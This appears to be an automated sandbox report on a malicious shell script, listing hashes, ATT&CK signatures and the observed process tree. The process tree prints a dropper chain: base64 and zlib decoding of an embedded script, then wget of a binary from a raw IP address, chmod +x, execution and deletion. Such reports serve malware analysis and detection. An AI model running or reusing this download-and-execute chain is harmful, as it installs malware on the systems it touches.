Analysis
- max time kernel
150s - max time network
141s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
13/09/2026, 17:19
Static task
static1
Behavioral task
behavioral1
Sample
a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
Resource
debian9-mipsel-20260513-en
General
- Target a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
- Size 832KB
- Sample260913-vvy5csszf1
- SHA256 5b716c269c91722f9fc2b6c9d7b810b399f25e57130fee21688c001931978772
- MD5 4fdecbafdaee7bbd4289c3307943c70f
- SHA1 a8a3c0c7c8adcda154c093be88cab967e01e49b8
- SHA512 910079fb96646f7bb34f7299ec89ded445940b36b92abf34c688a3588fc42fbb5f67014501e1053adfa11e905d90c7098d05935bd66f2e1450f4e191ccf54fe1
- SSDEEP 24576:V4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeT:z/o8ZatHiw5ycMVmKkeT
- TLSH T11D052308F11B8C38ED4E3C8CE89EEBDD192520A28B55E1475A6534AE7E347DC807A75F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 680 chmod 789 chmod - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 675 base64 - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 651 a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sh-thd.VWBQLg a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh File opened for modification /tmp/tmp.uV4XncPXbs/embedded.sh a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
Processes
-
/tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh/tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh1⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:651 -
/bin/mktempmktemp -d2⤵PID:671
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:675
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵PID:676
-
-
/bin/chmodchmod +x /tmp/tmp.uV4XncPXbs/embedded.sh2⤵
- File and Directory Permissions Modification
PID:680
-
-
/bin/bashbash /tmp/tmp.uV4XncPXbs/embedded.sh1⤵PID:651
-
/usr/bin/wgetwget http://192.227.183.143/m-i.p-s.ISIS2⤵PID:682
-
-
/bin/chmodchmod +x m-i.p-s.ISIS2⤵
- File and Directory Permissions Modification
PID:789
-
-
/run/m-i.p-s.ISIS./m-i.p-s.ISIS2⤵PID:790
-
-
/bin/rmrm -rf m-i.p-s.ISIS2⤵PID:791
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/sh-thd.VWBQLg
- Size 827KB
- SHA256 2d9d9609b98fe1ea8fd588a7b264fa84bf4160c35d192a6571591e69c6e4a60c
- MD5 e4aa53f6cfe2dae8bce2aea3840f32f3
- SHA1 b8254c8a68f2311b21382d1546a663a821b09415
- SHA512 58c556b82e9b11e91783d54db0a49f3c7e3ff274a6ff68fa7605831bf874cc8860a994ed77c04aac6e7610dd6e49b8a603d80cfa645290432cbb9be99c4a400b
- SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7Oyr:8e8xyxNwybCacd7cWOyr
- TLSH T14D052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/tmp.uV4XncPXbs/embedded.sh
- Size 1KB
- SHA256 2aa0cda5261f118aa7ca23823a71a5aed22653f3bf77e5ee7b7dd0296740237f
- MD5 e19b09f5f6dcf748abe29b4616e4d3c3
- SHA1 2b50b0e7c442cc2eddbaa4d97b2a2fe23eb192df
- SHA512 058465a60fa8b42a2fb0a3f1f525e1dbdaa53ef7c2da24708df3902272cc6e8be09b88770ded75a49ef34b2d01911f58555f85ccdbd7427e1d49b9581ff39fca
- TLSH T14441848A20E108B07C92A4B773756D107595A25DA4CDFF8F7BDC38E5488CEF5A425BC2
- MD5 SHA1 SHA512 TLSH